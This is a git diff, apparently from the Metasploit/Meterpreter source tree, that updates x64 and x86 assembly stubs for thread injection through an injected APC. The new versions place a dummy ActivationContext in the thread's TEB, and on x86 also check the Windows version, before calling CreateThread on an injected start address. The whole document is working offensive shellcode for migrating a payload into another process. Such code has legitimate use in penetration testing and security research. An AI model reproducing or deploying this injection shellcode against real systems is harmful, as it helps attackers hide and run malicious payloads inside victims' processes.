diff --git a/external/source/shellcode/windows/x64/src/migrate/apc.asm b/external/source/shellcode/windows/x64/src/migrate/apc.asm index 4ea83709c8..973e655a61 100644 --- a/external/source/shellcode/windows/x64/src/migrate/apc.asm +++ b/external/source/shellcode/windows/x64/src/migrate/apc.asm @@ -2,13 +2,13 @@ ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Architecture: x64 -; Version: 1.0 (Jan 2010) -; Size: 256 bytes +; Version: 2.0 (March 2010) +; Size: 323 bytes ; Build: >build.py apc ;-----------------------------------------------------------------------------; ; A small stub to be used for thread injection where we gain execution via an injected APC. See the -; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details +; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_inject.c" for more details ;typedef struct _APCCONTEXT ;{ @@ -28,24 +28,33 @@ [BITS 64] [ORG 0] - cld ; Clear the direction flag. - cmp byte [rcx+16], 0 ; Has this context allready been injected? 'if( ctx->bExecuted == FALSE )' - jne cleanup ; If so just leave this APC - mov byte [rcx+16], 1 ; Otherwise mark the context as executed and proceed - sub rsp, 120 ; Alloc some space on stack - call start ; Call start, this pushes the address of 'api_call' onto the stack. -delta: ; + cld ; Clear the direction flag. + cmp byte [rcx+16], 0 ; Has this context allready been injected? 'if( ctx->bExecuted == FALSE )' + jne cleanup ; If so just leave this APC + mov byte [rcx+16], 1 ; Otherwise mark the context as executed and proceed + sub rsp, 120 ; Alloc some space on stack + call start ; Call start, this pushes the address of 'api_call' onto the stack. +delta: ; %include "./src/block/block_api.asm" ; -start: ; - pop rbp ; Pop off the address of 'api_call' for calling later. - mov r8, [rcx] ; r8 = ctx->lpStartAddress - mov r9, [rcx+8] ; r9 = ctx->lpParameter - xor rcx, rcx ; Clear ECX, lpThreadAttributes - xor rdx, rdx ; Clear EDX, dwStackSize - push rcx ; lpThreadId - push rcx ; dwCreationFlags - mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) - call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); +start: ; + pop rbp ; Pop off the address of 'api_call' for calling later. + xor rdx, rdx ; zero RDX + mov rax, [gs:rdx+48] ; Get the current TEB + cmp qword [rax+712], rdx ; Is the TEB ActivationContextStackPointer pointer NULL? + jne continue ; If there already is an ActivationContext structure setup, just continue + lea rdx, [rbp+context-delta] ; calculate the address of our dummy ActivationContext + mov qword [rax+712], rdx ; and set the address of our dummy ActivationContext in the current TEB +continue: + mov r8, [rcx] ; r8 = ctx->lpStartAddress + mov r9, [rcx+8] ; r9 = ctx->lpParameter + xor rcx, rcx ; Clear ECX, lpThreadAttributes + xor rdx, rdx ; Clear EDX, dwStackSize + push rcx ; lpThreadId + push rcx ; dwCreationFlags + mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); add rsp, (120 + 32 + (8*2)) ; fix up stack (120 bytes we alloced, 32 bytes for the single call to api_call, and 2*8 bytes for the two params we pushed). cleanup: - ret ; Return and finish our APC routine. + ret ; Return and finish our APC routine. +context: + TIMES 0x24 db 0 ; An empty ntdll!_ACTIVATION_CONTEXT_STACK structure \ No newline at end of file diff --git a/external/source/shellcode/windows/x86/src/migrate/apc.asm b/external/source/shellcode/windows/x86/src/migrate/apc.asm index 3423a2afcf..40eb1d3488 100644 --- a/external/source/shellcode/windows/x86/src/migrate/apc.asm +++ b/external/source/shellcode/windows/x86/src/migrate/apc.asm @@ -2,13 +2,13 @@ ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 ; Architecture: x86 (but not wow64) -; Version: 1.0 (Jan 2010) -; Size: 183 bytes +; Version: 2.0 (March 2010) +; Size: 244 bytes ; Build: >build.py apc ;-----------------------------------------------------------------------------; ; A small stub to be used for thread injection where we gain execution via an injected APC. See the -; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_dispatch.c" for more details +; file "\msf3\external\source\meterpreter\source\common\arch\win\i386\base_inject.c" for more details ;typedef struct _APCCONTEXT ;{ @@ -28,28 +28,40 @@ [BITS 32] [ORG 0] - cld ; Clear the direction flag. - mov eax, [esp+4] ; EAX is a pointer to our apc stub context - push ebp ; Prologue, save EBP... - mov ebp, esp ; And create a new stack frame - call start ; Call start, this pushes the address of 'api_call' onto the stack. -delta: ; + cld ; Clear the direction flag. + mov esi, [esp+4] ; ESI is a pointer to our apc stub context + push ebp ; Prologue, save EBP... + mov ebp, esp ; And create a new stack frame + call start ; Call start, this pushes the address of 'api_call' onto the stack. +delta: ; %include "./src/block/block_api.asm" ; -start: ; - pop ebx ; Pop off the address of 'api_call' for calling later. - cmp byte [eax+16], 0 ; Has this context allready been injected - jne cleanup ; If so just leave this APC - mov byte [eax+16], 1 ; Otherwise mark the context as executed and proceed - xor ecx, ecx ; Clear ECX - push ecx ; lpThreadId - push ecx ; dwCreationFlags - push dword [eax+8] ; ctx->lpParameter - push dword [eax] ; ctx->lpStartAddress - push ecx ; dwStackSize - push ecx ; lpThreadAttributes - push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) - call ebx ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); +start: ; + pop ebx ; Pop off the address of 'api_call' for calling later. + cmp byte [esi+16], 0 ; Has this context allready been injected + jne cleanup ; If so just leave this APC + mov byte [esi+16], 1 ; Otherwise mark the context as executed and proceed + push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + call ebx ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 + jl short continue ; then continue to CreateThread... otherwise we must create a dummy thread ActivationContext + xor ecx, ecx ; zero ECX + mov eax, [fs:ecx+24] ; Get the current TEB + cmp dword [eax+424], ecx ; Is the TEB ActivationContextStackPointer pointer NULL? + jne continue ; If there already is an ActivationContext structure setup, just continue + lea edx, [ebx+context-delta] ; calculate the address of our dummy ActivationContext + mov dword [eax+424], edx ; and set the address of our dummy ActivationContext in the current TEB +continue: + xor ecx, ecx ; Clear ECX + push ecx ; lpThreadId + push ecx ; dwCreationFlags + push dword [esi+8] ; ctx->lpParameter + push dword [esi] ; ctx->lpStartAddress + push ecx ; dwStackSize + push ecx ; lpThreadAttributes + push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" ) + call ebx ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL ); cleanup: - leave ; epilogue - retn 12 ; Return (cleaning up stack params) and finish our APC routine. - \ No newline at end of file + leave ; epilogue + retn 12 ; Return (cleaning up stack params) and finish our APC routine. +context: + TIMES 0x18 db 0 ; An empty ntdll!_ACTIVATION_CONTEXT_STACK structure \ No newline at end of file